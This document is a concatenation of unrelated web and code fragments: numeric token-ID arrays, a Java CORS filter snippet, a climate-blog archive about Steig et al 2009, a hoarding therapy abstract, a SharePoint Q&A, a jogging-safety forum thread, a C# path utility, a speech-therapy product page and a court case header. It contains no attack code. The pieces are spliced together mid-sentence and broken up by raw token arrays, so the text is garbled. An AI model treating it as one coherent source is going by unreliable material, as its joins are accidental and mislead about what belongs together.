432, 1561, 253, 2600, 4384, 622, 970, 253, 2840, 10130, 14991, 3239, 15, 187, 3220, 1953, 310, 13, 310, 627, 1529, 1039, 326, 310, 1097, 5919, 285, 20654, 32, 187, 187, 34, 27, 187, 187, 2520, 310, 10323, 253, 1072, 1953, 347, 253, 24689, 839, 17855, 17078, 1953, 15, 1422, 1472, 327, 581, 2900, 13, 970, 247, 15154, 15, 8035, 2746, 812, 320, 1907, 247, 4384, 2579, 275, 6582, 326, 368, 476, 1067, 432, 634, 4384, 11222, 15, 187, 16, 26562, 535, 13422, 830, 187, 187, 1394, 403, 1060, 187, 187, 27031, 10640, 32321, 187, 187, 42, 2210, 2439, 271, 3929, 327, 380, 13106, 436, 4131, 17328, 479, 326, 970, 271, 41020, 16, 4548, 20, 4760, 1223, 3733, 32321, 310, 417, 247, 1175, 2181, 432, 247, 1881, 6055, 32764, 15, 187, 187, 510, 3929, 369, 670, 247, 637, 665, 9809, 247, 277, 18639, 3416, 13, 534, 275, 273, 3139, 310, 247, 1928, 1175, 2926, 13, 533, 253, 2181, 326, 6225, 562, 369, 326, 346, 510, 31791, 273, 247, 46298, 3416, 497, 9829, 407, 1481, 6198, 14, 84, 631, 272, 32412, 7276, 13, 6108, 617, 281, 320, 28187, 407, 3346, 449, 15, 1893, 417, 760, 812, 368, 417, 4089, 3095, 3551, 281, 2983, 368, 13, 368, 1537, 671, 2985, 3095, 434, 3501, 323, 1361, 15, 309, 1353, 2119, 697, 417, 347, 2590, 2624, 347, 326, 13, 533, 352, 5604, 1633, 281, 1908, 672, 562, 3815, 970, 247, 41020, 16, 4548, 20, 4760, 15, 187, 187, 4509, 253, 3929, 27, 187, 187, 1628, 1909, 7312, 627, 497, 32412, 7276, 327, 253, 1854, 15, 309, 3047, 247, 1387, 273, 731, 1408, 4951, 2469, 617, 1078, 309, 1694, 627, 13, 533, 597, 574, 616, 40613, 275, 285, 597, 4571, 457, 85, 4089, 617, 15, 773, 3726, 943, 816, 1978, 616, 40613, 275, 581, 2472, 594, 597, 476, 4089, 752, 457, 84, 9369, 1475, 731, 1425, 187, 187, 42, 1353, 417, 2119, 1880, 326, 434, 247, 1175, 2934, 15, 1737, 513, 643, 12209, 2758, 1158, 32, 187, 187, 42, 751, 3440, 285, 309, 751, 5763, 281, 3440, 533, 309, 1620, 8251, 40613, 390, 2472, 15791, 672, 7824, 390, 3515, 15, 14566, 753, 326, 13, 1293, 253, 987, 16964, 390, 36231, 352, 310, 816, 347, 3477, 281, 320, 4336, 25229, 273, 752, 434, 1469, 327, 1475, 368, 1014, 604, 512, 634, 21768, 403, 4751, 5164, 15, 187, 187, 42, 452, 271, 12732, 20, 309, 5950, 4266, 326, 3960, 684, 16334, 273, 3515, 342, 7824, 13, 8689, 23578, 13, 18750, 20823, 3966, 326, 309, 897, 323, 619, 6613, 15, 1893, 309, 452, 326, 327, 15, 4129, 352, 310, 8127, 10837, 342, 253, 19322, 9775, 432, 479, 1046, 594, 2223, 15, 187, 187, 18562, 753, 326, 309, 1928, 326, 15890, 323, 643, 952, 1146, 275, 878, 310, 816, 247, 3213, 1512, 2080, 672, 352, 3249, 281, 11891, 10744, 23435, 15, 309, 1353, 417, 2119, 835, 253, 3523, 1127, 651, 320, 2378, 368, 1265, 2509, 326, 32, 14566, 634, 5579, 390, 3440, 327, 1698, 387, 1728, 275, 1083, 368, 2985, 253, 3590, 273, 10155, 5253, 1735, 3369, 32, 187, 187, 1909, 3095, 665, 1077, 1199, 29566, 3440, 13, 309, 1928, 253, 34390, 15, 309, 1089, 326, 309, 1007, 1475, 1199, 625, 7208, 342, 619, 23542, 20, 4760, 4882, 15, 6101, 2915, 871, 604, 627, 434, 2712, 326, 2506, 626, 3657, 4854, 32, 733, 434, 1892, 281, 8564, 2712, 347, 11638, 347, 271, 23542, 20, 4760, 13, 533, 5046, 627, 310, 1633, 2439, 253, 24740, 32, 187, 187, 1628, 3726, 943, 816, 1978, 616, 40613, 275, 581, 2472, 594, 597, 476, 4089, 752, 457, 84, 9369, 1475, 731, 1425, 187, 187, 42, 1353, 417, 2119, 1880, 326, 434, 247, 1175, 2934, 15, 1737, 513, 643, 12209, 2758, 1158, 32, 187, 187, 3039, 309, 457, 78, 3515, 275, 4270, 598, 3672, 309, 1620, 8028, 281, 619, 23542, 20, 4760, 15, 1707, 403, 9090, 253, 1881, 14, 39013, 3374, 13, 533, 627, 403, 671, 253, 14200, 3367, 5252, 3374, 273, 417, 1146, 4751, 6600, 273, 17682, 7137, 13, 3966, 15, 2752, 4854, 310, 417, 15143, 285, 7613, 309, 943, 417, 11490, 352, 2007, 15, 187, 187, 1147, 457, 84, 247, 1652, 1027, 672, 3515, 327, 253, 19607, 285, 949, 253, 4910, 15, 1422, 476, 923, 1077, 1048, 13849, 285, 627, 310, 642, 7137, 281, 7664, 670, 15, 309, 717, 3103, 3240, 5211, 281, 897, 253, 23542, 20, 4760, 275, 326, 3126, 15, 309, 513, 13, 2299, 13, 452, 247, 4086, 273, 30906, 352, 745, 604, 309, 457, 78, 17682, 643, 952, 285, 3192, 253, 2472, 15791, 562, 15, 831, 310, 8558, 323, 2314, 8098, 594, 309, 476, 6431, 16524, 723, 342, 247, 7715, 773, 88, 5945, 275, 253, 4956, 84, 7521, 533, 352, 671, 556, 253, 2879, 5750, 273, 26728, 11891, 15, 380, 14512, 273, 479, 2970, 13964, 275, 326, 23192, 403, 8723, 13, 533, 1907, 10256, 11843, 273, 952, 1475, 1060, 670, 253, 6349, 273, 11891, 13, 309, 1928, 352, 457, 84, 1774, 309, 457, 78, 1900, 2326, 281, 773, 81, 974, 885, 752, 309, 49383, 6598, 187, 187, 4041, 2181, 359, 878, 281, 2803, 275, 310, 752, 952, 403, 2686, 11298, 281, 285, 849, 11216, 352, 310, 15, 49920, 13, 309, 1053, 457, 85, 8028, 281, 3440, 672, 309, 457, 78, 3515, 347, 309, 1089, 21110, 84, 281, 320, 247, 1805 ]

add("Access-Control-Expose-Headers","authorization,errorMessage,successMessage"); return response; } } register the CORSFilter ResourceConfig rc=new PackagesResourceConfig("hms.test.automation.system.tc.manager.resources"); // register resources // Packages and exception mappers rc.getContainerResponseFilters().add(CORSFilter.class); Category Archives: Steig at al 2009 On Monday, Feb 2, Gavin Schmidt explained some “ethics” to realclimate readers as follows: [Response: People will generally credit the person who tells them something. BAS were notified by people Sunday night who independently found the Gill/Harry mismatch. SM could have notified them but he didn’t. My ethical position is that it is far better […] On Sunday, Feb 1 at 4:41 pm Eastern (3:41 blog time), I published a post describing West Antarctic stations. In that post, I observed that there was a very limited amount of station data (6 stations) in the West Antarctica area re-interpreted by Steig et al, that one of the stations (Harry AWS) had an […] As noted yesterday, the main enterprise of Steig et al is a re-interpretation of West Antarctica, saying that “no one really has paid much attention to” this area in the past and saying that their study improved over prior studies because previously: “People were calculating with their heads instead of actually doing the math,” said […] In Dec 2004, Steig and Schmidt wrote The Antarctic Peninsula, site of the now-defunct Larsen-B ice shelf, has warmed substantially. On the other hand, the few stations on the continent and in the interior appear to have cooled slightly (Doran et al, 2002; GISTEMP). At first glance this seems to contradict the idea of “global” […] Once upon a time, in the mists of time (Feb 2008), long before climate scientists had “moved on”, realclimate featured a post entitled Antarctica is Cold? Yeah, We Knew That, in which Spencer Weart, as noted by Pielke Jr, observed:... we often hear people remarking that parts of Antarctica are getting colder, […] Image by mark van de wouw via Flickr For discussion of new study. by Steig (Mann) et al 2009. Data: Data sets used in this study include the READER and AWS data from the British Antarctic Survey. SI Tables 1 and 2 provide listings. They leave out station identifications (a practice that “peer” reviewers, even […]Group cognitive and behavioral treatment for compulsive hoarding: a preliminary trial. Time-limited group cognitive behavioral treatments (GCBT) for obsessive-compulsive disorder have demonstrated improvement in target symptoms. One small sample study of GCBT specifically for hoarding problems also showed benefit. This study examines the efficacy of a specialized GCBT for compulsive hoarding on a larger sample. Thirty-two clients diagnosed with hoarding participated in five groups. Four groups met once weekly for 2 hour over 16 weeks (n=27) and one group met for 20 weeks (n=5). All participants had two individual 90-min home sessions. Self-report assessments were completed at baseline, mid-treatment, and post-treatment about hoarding behavior and related symptoms (e.g., depression). The sample was predominantly female, White, highly educated, unemployed, and not partnered/married; mean age was 53. A majority was diagnosed with major depressive disorder and obsessive-compulsive personality disorder. Participants showed significant improvement from pre- to post-treatment on the Saving Inventory Revised, Saving Cognitions Inventory, Clutter Image Rating, and Clinical Global Severity. The most recent group (n=8) that used a more formalized treatment and research protocol improved significantly more than did earlier members. This study demonstrates the feasibility and modest success of GCBT methods in improving hoarding symptoms. Group treatment may be especially valuable because of its cost-effectiveness, greater client access to trained clinicians, and reduction in social isolation and stigma linked to this problem. Further research is needed to improve the efficacy of GCBT methods for hoarding and to examine durability of change, predictors of outcomes, and processes that influence change.Q: Running code that creates a TimerJobDefinition outside of Central Admin I have run into a problem several times now where I have developed a custom timer job, and I want my site collection administrators to manage the schedule of this job with a custom application page but I keep running into security related obstacles. Since timerjobs are child objects of SPWebApplication, they are stored in the config database. If you have set up your farm properly in such a way that the App pool user for your content web application does not have write access to the Config database, you can't create new TimerJobDefinitions from code that runs in your content web app. A bad workaround/hack would be to raise the database permissions for your app pool user on the config database. A better approach would be to move the schedule admin page into Central Admin, because the Central Admin app pool account can write to the config database But then we lose the whole point - I want my site collection administrators to be able to manage the schedule! The only alternative solution I can think of is to have another timerjob that polls some kind of queue (for example a sharepoint list in my site collection) for new timerjobs to create, and creates it if an item has been added to that queue from within the content web app using the custom schedule admin page. My question is, is there another way that is both efficient and elegant? A: this is basically the same question as the Automating Site Collection question. You're on one solution, using a queue. Another approach could be having a web service in CA that you can call from your web apps. /WW Search form You are here Awareness outdoors I came across an article on The Register this morning reminded me that using an iPod/MP3 player while training outdoors is not a good thing from a self protection standpoint. The article was about a man who saved a drowing woman, which in of itself is a feel good story, but the thing that stood out was that "The cries of a drowning woman were missed by headphone-sporting joggers, leaving her to be rescued by....". So not only could you not hear someone coming to attack you, you might also miss someone's cry for help. I'm sure its not as clear cut as that, but it certainly something to consider when out alone using a iPod/MP3 player. From the article: “As usual there were joggers on the path. I saw a group of them run straight past her before I got there, but they had their headphones in and they couldn’t hear her. “They should just keep their headphones in one ear so they can hear what’s happening around them.” I'm not sure whether that's a good idea. What do other forum members think? I like music and I like exercise to music but I never wear headphones or earphones when walking or running. Having said that, without the right habits or mindset it is just as easy to be completely unaware of what's going on around you even if all your senses are fully functional. I have an MP3 I recorded myself that alternates rounds of running with walking, sprints, punch outs etc that I use for my runs. So I have that on. Although it is largely silence with the occasional instruction from me every so often. Having said that I feel that accounting for other people being in need is just a step too far when it comes to awareness IMHO. I'm not sure where the stop point would be once you start doing that? Having your TV or music on low at home in case you miss the sound of breaking glass next door? As someone who very much enjoys music, I feel the dilemma. I find that I look around much more frequently with my mp3 player playing. Anybody know if there's anything that doesn't prevent hearing? It's hard to imagine anything as convenient as an mp3 player, but maybe there is something across the pond? “They should just keep their headphones in one ear so they can hear what’s happening around them.” I'm not sure whether that's a good idea. What do other forum members think? When I’m running in built up areas I never listen to my mp3 player. There are obviously the self-protection issues, but there are also the wider personal safety issues of not being fully aware of approaching traffic, etc. My hearing is not fantastic and hence I should not impair it further. It’s a little different when running on the hills and through the fields. You can see very long distances and there is no traffic to worry about. I am therefore quite happy to use the mp3 player in that environment. I do, however, have a rule of knocking it off if I’m approaching other people and taking the earphones out. This is primarily for politeness so I can exchange greetings with a fellow “wander in the wilds”, but it also has the added advantage of communicating awareness. The chances of me getting attacked in that arena are minimal, but having taught masses of people around here about the importance of awareness, I feel it’s important I’m always seen to “practise what I preach”. One thing we need to factor in is what people are actually listening to and how loud it is. Personally, I don’t listen to music when I’m running as I find podcasts to be a better

[ 187, 187, 7504, 4859, 19668, 187, 1413, 27, 746, 1717, 10782, 187, 1413, 27, 14316, 952, 187, 1413, 27, 7878, 3085, 41973, 187, 1413, 27, 7878, 7315, 41973, 187, 1413, 27, 6014, 16443, 432, 1457, 2816, 3228, 13422, 830, 187, 187, 3439, 15118, 39607, 11240, 264, 28283, 1847, 317, 358, 1170, 1997, 1103, 187, 187, 11796, 23495, 3968, 556, 6138, 253, 8255, 20841, 313, 483, 273, 689, 31268, 26828, 10, 323, 697, 954, 3332, 3790, 273, 10995, 21927, 358, 1170, 16311, 15, 380, 370, 1010, 15, 19, 3041, 275, 16311, 588, 1329, 6493, 275, 7127, 7888, 285, 247, 41366, 2199, 275, 20973, 15, 187, 187, 3, 4509, 253, 44742, 273, 8118, 14, 7878, 1445, 275, 14296, 457, 84, 8049, 15784, 388, 15011, 281, 253, 8644, 19365, 34486, 273, 253, 754, 45355, 8049, 275, 17372, 281, 330, 13183, 28926, 457, 84, 8644, 9613, 309, 9362, 2199, 326, 23923, 275, 1457, 20159, 285, 556, 1024, 5195, 11358, 13, 10846, 403, 9745, 1495, 285, 4096, 896, 281, 14454, 16475, 937, 2296, 611, 13774, 6029, 3423, 15, 346, 6175, 627, 778, 320, 690, 2495, 326, 686, 20132, 422, 21927, 358, 1170, 8, 812, 2489, 247, 8136, 269, 324, 1293, 247, 21692, 17646, 13, 309, 1053, 457, 85, 1158, 594, 27, 672, 352, 457, 84, 1728, 30144, 13, 352, 457, 84, 1524, 449, 187, 187, 3, 1909, 3780, 665, 556, 1239, 479, 1078, 6057, 13, 309, 7052, 1329, 2712, 326, 7729, 1056, 10106, 25237, 625, 33398, 285, 43377, 323, 1655, 285, 2852, 8811, 285, 12942, 937, 344, 11323, 15, 346, 1147, 417, 760, 2789, 323, 1805, 7888, 28, 352, 671, 2789, 323, 247, 33696, 3126, 13, 984, 8238, 342, 616, 625, 44411, 4441, 285, 2940, 494, 25237, 403, 2080, 1679, 8461, 9634, 285, 3651, 20834, 273, 5300, 327, 247, 591, 14, 10816, 3720, 685, 253, 8138, 1020, 3102, 273, 33963, 30108, 77, 326, 556, 323, 594, 1048, 14691, 776, 13016, 449, 605, 8283, 313, 68, 10, 9664, 15, 50276, 3074, 12484, 32997, 15, 50276, 49124, 8821, 762, 253, 14325, 4637, 13, 11099, 374, 15, 17, 15, 50276, 5035, 4637, 15, 10134, 275, 253, 2199, 5230, 323, 7981, 1491, 15, 187, 187, 5302, 4155, 28, 187, 5302, 4155, 15, 32293, 15, 25114, 28, 187, 5302, 4155, 15, 33958, 21234, 28, 187, 5302, 4155, 15, 6527, 28, 187, 187, 12361, 9664, 15, 10987, 15, 44131, 15, 7781, 10588, 187, 92, 187, 50274, 11577, 4228, 966, 12899, 12804, 1005, 187, 50274, 92, 187, 50270, 9486, 4228, 30261, 1018, 5456, 256, 64, 26758, 38830, 2392, 426, 551, 12899, 15, 20330, 38830, 1080, 8662, 13, 12899, 15, 31879, 20330, 38830, 1080, 8662, 7734, 187, 50270, 9486, 1030, 2876, 914, 68, 27111, 426, 27508, 3353, 3664, 187, 50270, 9486, 1030, 2876, 44971, 16560, 426, 13357, 3664, 535, 50270, 4387, 4228, 2876, 5456, 43531, 9, 2703, 2120, 5455, 10, 187, 50270, 92, 187, 50266, 2044, 906, 426, 2120, 5455, 15, 33720, 9, 84, 64, 26758, 38830, 2392, 13, 4605, 33720, 10976, 15, 21605, 16801, 46030, 558, 535, 50266, 338, 313, 5455, 15, 20330, 38830, 1080, 8662, 2295, 686, 3353, 3401, 187, 50266, 92, 187, 50262, 338, 313, 11546, 5455, 15, 8252, 84, 3378, 9, 2447, 68, 27111, 13, 4605, 23648, 15, 45435, 989, 1228, 187, 50262, 92, 187, 50258, 2044, 1618, 426, 747, 5552, 29, 2703, 31, 551, 914, 68, 27111, 7734, 187, 50258, 3550, 15, 4717, 12519, 9, 6870, 558, 187, 50258, 6870, 426, 1618, 15, 1992, 6542, 1874, 187, 50262, 94, 187, 50266, 94, 187, 50266, 7271, 604, 313, 11546, 5455, 15, 8252, 84, 3378, 9, 2447, 895, 16560, 13, 4605, 23648, 15, 45435, 989, 1228, 187, 50266, 92, 187, 50262, 2044, 1618, 426, 747, 5552, 29, 2703, 31, 551, 44971, 16560, 7734, 187, 50262, 3550, 15, 4717, 12519, 9, 6870, 558, 187, 50262, 6870, 426, 1618, 15, 1992, 6542, 1874, 187, 50266, 94, 535, 50266, 2309, 906, 28, 187, 50270, 94, 535, 50270, 4387, 4228, 7301, 3035, 1397, 3378, 38830, 1080, 9, 2520, 2876, 1854, 10, 187, 50270, 92, 187, 50266, 3615, 1390, 426, 1854, 60, 3967, 15, 10830, 428, 337, 2194, 187, 50266, 2309, 1390, 2295, 12899, 15, 20330, 38830, 1080, 8662, 2785, 1390, 2295, 12899, 15, 31879, 20330, 38830, 1080, 8662, 28, 187, 50270, 94, 535, 50270, 4387, 4228, 2876, 8072, 3378, 38830, 1080, 9, 2520, 2876, 1854, 10, 187, 50266, 14490, 1854, 15, 3546, 1397, 3378, 38830, 1080, 1082, 3736, 1854, 1163, 1854, 559, 12899, 15, 20330, 38830, 1080, 8662, 28, 535, 50270, 4387, 4228, 2876, 8072, 3378, 38830, 1080, 9, 2520, 2876, 1854, 13, 1018, 35823, 10, 187, 50266, 14490, 1854, 15, 3546, 1397, 3378, 38830, 1080, 1082, 3736, 1854, 1163, 1854, 559, 35823, 28, 187, 50274, 94, 187, 94, 5035, 285, 26779, 322, 16948, 36671, 337, 187, 187, 5035, 285, 26779, 322, 16948, 36671, 337, 310, 4158, 281, 1361, 2151, 342, 9792, 9237, 281, 1287, 2590, 6519, 15, 733, 778, 671, 320, 187, 13070, 1020, 323, 643, 2151, 342, 2074, 6519, 12748, 15, 187, 187, 5035, 285, 26779, 322, 16948, 36671, 337, 3400, 2969, 4712, 326, 11907, 253, 45738, 285, 22563, 273, 581, 14, 285, 767, 14, 19089, 620, 494, 187, 12113, 15, 733, 3797, 4314, 5239, 273, 3000, 13, 1016, 4983, 342, 247, 6519, 3590, 326, 3798, 24357, 2393, 275, 6867, 2440, 313, 67, 13, 277, 13, 278, 13, 268, 13, 187, 90, 13, 295, 13, 259, 285, 288, 481, 187, 510, 8187, 2303, 3000, 1957, 247, 2491, 273, 30130, 293, 14, 585, 1665, 386, 13553, 285, 403, 4236, 432, 30318, 7470, 323, 9243, 187, 13863, 15, 187, 187, 5035, 285, 26779, 322, 16948, 36671, 337, 21168, 327, 253, 6936, 10256, 275, 253, 2045, 767, 2594, 285, 26779, 38399, 5018, 15, 187, 187, 5035, 285, 26779, 322, 16948, 36671, 337, 369, 187, 3456, 11529, 1925, 2594, 285, 26779, 322, 16948, 36671, 15, 9985, 562, 187, 3062, 1051, 187, 187, 6014, 16762, 187, 187, 5035, 285, 26779, 322, 16948, 36671, 337, 3386, 1264, 4712, 27, 187, 187, 43453, 281, 21882, 36671, 428, 970, 5406, 8959, 8364, 285, 6519, 24042, 26638, 281, 11907, 806, 9437, 387, 187, 84, 16948, 3000, 187, 187, 49, 974, 2182, 322, 16948, 36671, 428, 970, 5239, 273, 5406, 8959, 8364, 275, 3958, 281, 11907, 625, 3426, 3159, 187, 25307, 187, 187, 1785, 248, 1032, 272, 322, 16948, 36671, 428, 2709, 49495, 273, 2173, 3000, 281, 3157, 253, 19843, 285, 15274, 273, 187, 3418, 3275, 187, 187, 52, 2338, 1430, 187, 187, 22246, 476, 1265, 253, 4712, 275, 2594, 285, 26779, 322, 16948, 36671, 337, 672, 597, 27, 187, 187, 5092, 4711, 387, 1878, 690, 273, 253, 772, 251, 1103, 270, 13, 277, 13, 278, 13, 268, 13, 340, 13, 295, 13, 187, 88, 390, 288, 428, 323, 1650, 13, 278, 13, 187, 395, 270, 187, 187, 5092, 4711, 2969, 13553, 273, 841, 772, 251, 1103, 285, 247, 30130, 293, 428, 323, 1650, 13, 278, 3288, 285, 270, 5781, 187, 187, 1231, 5583, 326, 2872, 2151, 3946, 841, 4712, 347, 3517, 347, 597, 2525, 841, 6866, 15, 1723, 13, 253, 4712, 403, 671, 187, 84, 32672, 323, 5662, 2151, 665, 878, 3081, 3946, 281, 3157, 616, 6519, 19843, 15, 187, 187, 38, 1360, 84, 285, 3386, 187, 187, 5035, 285, 26779, 322, 16948, 36671, 337, 310, 2130, 347, 247, 11462, 6119, 390, 347, 271, 622, 15, 6295, 4735, 27, 187, 187, 13996, 14, 1615, 14, 10539, 12925, 428, 247, 11088, 7102, 13, 15571, 253, 2216, 273, 253, 4712, 285, 5277, 3213, 14, 1615, 14, 10539, 187, 6839, 6477, 187, 187, 16324, 7562, 428, 3379, 494, 1924, 14526, 323, 7663, 4780, 187, 187, 25376, 10688, 5406, 8959, 686, 35817, 8, 428, 16519, 3901, 8364, 275, 253, 3379, 11166, 13, 2074, 686, 35817, 8, 327, 187, 14396, 275, 253, 11222, 187, 187, 688, 1635, 13, 253, 11222, 3959, 27, 187, 187, 21595, 2425, 14584, 428, 7562, 940, 21680, 281, 247, 5927, 281, 1361, 2151, 2770, 327, 253, 8892, 387, 1133, 187, 187, 30430, 10111, 187, 187, 10854, 39365, 10286, 10164, 18058, 187, 187, 37, 2354, 2987, 281, 3157, 4730, 285, 2393, 7268, 323, 2151, 342, 9792, 9237, 15, 187, 6067, 2561, 285, 1941, 14, 3169, 3238, 285, 5300, 403, 9073, 6763, 273, 2872, 952, 342, 9792, 9237, 281, 5115, 625, 685, 2455, 1078, 15, 187, 187, 3378, 634, 1329, 13, 359, 476, 28523, 2561, 13, 1287, 747, 3238, 285, 5300, 13, 285, 2085, 1329, 285, 7535, 281, 625, 5870, 285, 12440, 11678, 15, 43, 14, 34, 19100, 1839, 14, 1047, 535, 187, 34656, 14, 14364, 36, 1703, 34172, 32823, 34316, 428, 36079, 9242, 10810, 34354, 14732, 309, 15, 48, 15, 49, 15, 7251, 15, 1787, 187, 187, 9507, 22362, 10663, 38112, 3481, 367, 1400, 4883, 58, 17173, 1539, 5236, 50261, 1042, 3003, 9242, 10810, 34354, 14732, 3481, 187, 50254, 50254, 50275, 49, 1400, 4883, 58, 17173, 1539, 5236, 187, 50254, 50276, 28107, 535, 50257, 87, 15, 187, 187, 46, 28077, 444, 15, 416, 31407, 38795, 1042, 535, 50254, 50276, 16667, 50262, 2302, 15, 24792, 444, 4877, 4059, 2756, 50269, 40417, 432, 253, 24992, 273, 20580, 566, 4565, 721, 13, 4072, 187, 50267, 688, 253, 2111, 273, 10200, 21231, 284, 273, 27438, 3928, 187, 50266, 36, 31729, 9333, 387, 1621, 9, 84, 2262, 13874, 14, 2950, 14, 1311, 14, 933, 2227, 1166, 14, 6755, 535, 187, 8998, 31966, 27, 443, 5656, 15157, 13, 367, 15, 43, 904, 13573, 2775, 53, 13, 500, 904, 285, 500, 1400, 44, 11965, 13, 500, 15, 187, 187, 17589, 38560, 9149, 500, 1400, 44, 11965, 13, 500, 12567, 50259, 23562, 1703, 427, 4741, 3172, 15051, 2030, 13, 4059, 535, 50273, 16667, 22662, 28230, 6339, 11126, 16667, 15440, 12527, 253, 3883, 273, 187, 187, 36817, 5966, 327, 4565, 721, 13, 4072, 13, 407, 253, 27438, 3928, 2111, 273, 187, 187, 18170, 21231, 284, 15, 2732, 10182, 8180, 13, 359, 10418, 15, 535, 50273, 510, 2332, 1302, 17903, 253, 5441, 285, 19993, 2892, 273, 436, 187, 187, 30596, 347, 3637, 27, 535, 50267, 2374, 2552, 3307, 13, 4050, 13, 387, 5512, 721, 27, 1229, 268, 15, 78, 904, 444, 587, 257, 367, 43285, 187, 50273, 274, 30487, 387, 617, 1728, 4441, 275, 247, 3874, 5967, 2440, 387, 13062, 187, 50273, 998, 9296, 4379, 2111, 13, 46985, 22604, 13, 27438, 3928, 13, 8010, 13, 846, 1907, 187, 50273, 10178, 8955, 342, 617, 7586, 13, 36779, 443, 4655, 15, 9517, 369, 285, 187, 50273, 2013, 1550, 247, 6346, 273, 1097, 10137, 15, 367, 43285, 285, 10137, 15, 443, 4655, 13, 665, 3153, 187, 50273, 36776, 342, 10137, 15, 367, 43285, 457, 5938, 15, 9517, 4852, 767, 11008, 187, 50273, 3487, 432, 253, 367, 43285, 14, 40, 4655, 1728, 15, 535, 50267, 2374, 326, 7237, 13, 10137, 15, 367, 43285, 12668, 598, 281, 617, 1728, 285, 703, 187, 50273, 35577, 9517, 5015, 342, 617, 7586, 275, 247, 6346, 457, 84, 15789, 15, 1284, 187, 50273, 12822, 15, 367, 43285, 7320, 715, 617, 35664, 703, 574, 271, 440, 706, 2855, 264, 1859, 187, 50273, 1171, 9517, 15, 4058, 4958, 369, 10268, 987, 4404, 779, 15, 1500, 187, 50273, 45912, 9517, 574, 247, 1077, 1943, 7793, 275, 253, 2914, 273, 521, 26856, 11938, 187, 50273, 81, 1103, 15, 329, 25691, 13, 247, 1077, 4076, 2624, 326, 3261, 751, 352, 369, 2218, 342, 187, 189, 43, 14, 34, 19100, 1839, 14, 1047, 2756, 50273, 1026, 43842, 15, 9517, 574, 642, 42500, 327, 15, 10137, 15, 367, 43285, 369, 1077, 187, 50273, 1688, 32284, 13, 16060, 285, 1663, 4107, 6840, 562, 672, 703, 2540, 187, 50273, 16667, 457, 84, 29893, 29292, 285, 660, 8601, 360, 7329, 407, 253, 8037, 272, 7793, 187, 50273, 249, 521, 26856, 11938, 19110, 15, 2058, 326, 1127, 13, 10137, 15, 367, 43285, 3078, 281, 755, 617, 187, 50273, 84, 2131, 562, 273, 253, 4112, 15, 1500, 1694, 562, 273, 617, 1113, 13, 285, 347, 703, 187, 50273, 13028, 598, 617, 894, 4481, 13, 703, 2183, 617, 7586, 326, 3095, 369, 327, 187, 50273, 783, 4481, 285, 3078, 281, 2312, 281, 617, 15, 1583, 2427, 4541, 715, 187, 50273, 14094, 1728, 15, 535, 50266, 3404, 2332, 13, 10137, 15, 443, 4655, 13, 665, 7244, 1728, 247, 1643, 2909, 1078, 187, 50273, 379, 7586, 13, 7859, 326, 703, 24805, 617, 1113, 275, 253, 1072, 12102, 187, 50273, 17166, 347, 7312, 15, 1284, 703, 1694, 562, 273, 617, 1113, 13, 9517, 369, 3551, 187, 50273, 483, 273, 521, 1728, 285, 9583, 617, 275, 1355, 2312 ]

External links Category:1929 births Category:Living people Category:American film actresses Category:American television actresses Category:Actresses from New York CitySearch form 54 Arts Projects Awarded Creative Placemaking Grants ArtPlace America has announced the 54 recipients (out of over 1200 applicants) for its most recent round of creative placemaking grants. The $15.2 million in grants will support projects in 44 communities and a statewide project in Connecticut. "From the exhibitions of African-American art in Houston’s Project Row Houses to the amazing folk sculpture of the Heidelberg Project in Detroit to Candy Chang’s amazing Before I Die project that originated in New Orleans and has now spread elsewhere, artists are bringing life and purpose back to forgotten districts," says Kaid Benfield. "While there may be some risk that 'creative placemaking' could become a passing fad without a lasting legacy, I don’t think so: when it’s homegrown, it’s real." "As anyone who has read me before knows, I strongly support anything that helps make urban neighborhoods more welcoming and thriving for current and future residents and visitors," he adds. "It not only makes for better communities; it also makes for a healthier environment, because cities with their more centrally located and walkable neighborhoods are far less polluting and consumptive of resources on a per-person basis than the wasteful pattern of suburban sprawl that has for so long dominated our landscape."// Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; namespace Microsoft.Build.Tasks.SourceControl { internal static class PathUtilities { private static readonly char[] s_directorySeparators = { Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar }; private const string UncPrefix = @"\\"; private const string UnixRoot = "/"; public static string[] Split(string fullPath) { var result = fullPath.Split(s_directorySeparators, StringSplitOptions.RemoveEmptyEntries); if (Path.DirectorySeparatorChar == '\\') { if (fullPath.StartsWith(UncPrefix, StringComparison.Ordinal)) { var list = new List<string> { UncPrefix }; list.AddRange(result); result = list.ToArray(); } } else if (fullPath.StartsWith(UnixRoot, StringComparison.Ordinal)) { var list = new List<string> { UnixRoot }; list.AddRange(result); result = list.ToArray(); } return result; } public static bool EndsWithSeparator(this string path) { char last = path[path.Length - 1]; return last == Path.DirectorySeparatorChar || last == Path.AltDirectorySeparatorChar; } public static string EndWithSeparator(this string path) => path.EndsWithSeparator()? path : path + Path.DirectorySeparatorChar; public static string EndWithSeparator(this string path, char separator) => path.EndsWithSeparator()? path : path + separator; } }See and Learn Saying Words 1 See and Learn Saying Words 1 is designed to help children with Down syndrome to develop clear speech. It may also be helpful for other children with similar speech difficulties. See and Learn Saying Words 1 provides simple activities that encourage the imitation and repetition of one- and two-syllable words. It includes eight sets of words, each starting with a speech sound that usually develops early in typical development (b, d, m, p, y, n, w and h). The 72 target words represent a range of vowel-consonant combinations and are selected from vocabulary suitable for younger children. See and Learn Saying Words 1 builds on the skills taught in the previous two See and Learn Speech steps. See and Learn Saying Words 1 was previously called See and Learn Saying Words. Find out more... Activities See and Learn Saying Words 1 features three activities: Learning to Say Words - using picture prompt cards and speechreading cues to encourage first attempts at saying words Practising Saying Words - using sets of picture prompt cards in games to encourage more complete word production Rehearsing Saying Words - multiple repetitions of specific words to improve the clarity and consistency of word production Suitability Children can start the activities in See and Learn Saying Words 1 when they: can produce at least some of the consonants b, d, m, p, y, n, w or h - for example, m, and b can produce simple combinations of these consonants and a vowel - for example, moo and baa We recommend that young children practice these activities as soon as they meet these criteria. However, the activities are also suitable for older children who need additional practice to improve their speech clarity. Editions and features See and Learn Saying Words 1 is available as a printed kit or as an app. Both feature: Step-by-step guidance - a comprehensive guide, explaining the design of the activities and providing step-by-step instructions Record keeping - printable record sheets for recording progress Clear colour picture prompt 'cards' - laminated cards in the print edition, similar 'cards' on screen in the apps In addition, the apps offer: Simple activity screens - keeping distractions to a minimum to help children focus on the tasks at hand Online stores Down Syndrome Education Organisations DSE works to improve education and early intervention for children with Down syndrome. Our research and evidence-based services and resources are helping thousands of young people with Down syndrome to achieve more than ever before. With your support, we can accelerate research, develop new services and resources, and provide support and advice to more families and professionals everywhere.J-A28038-14 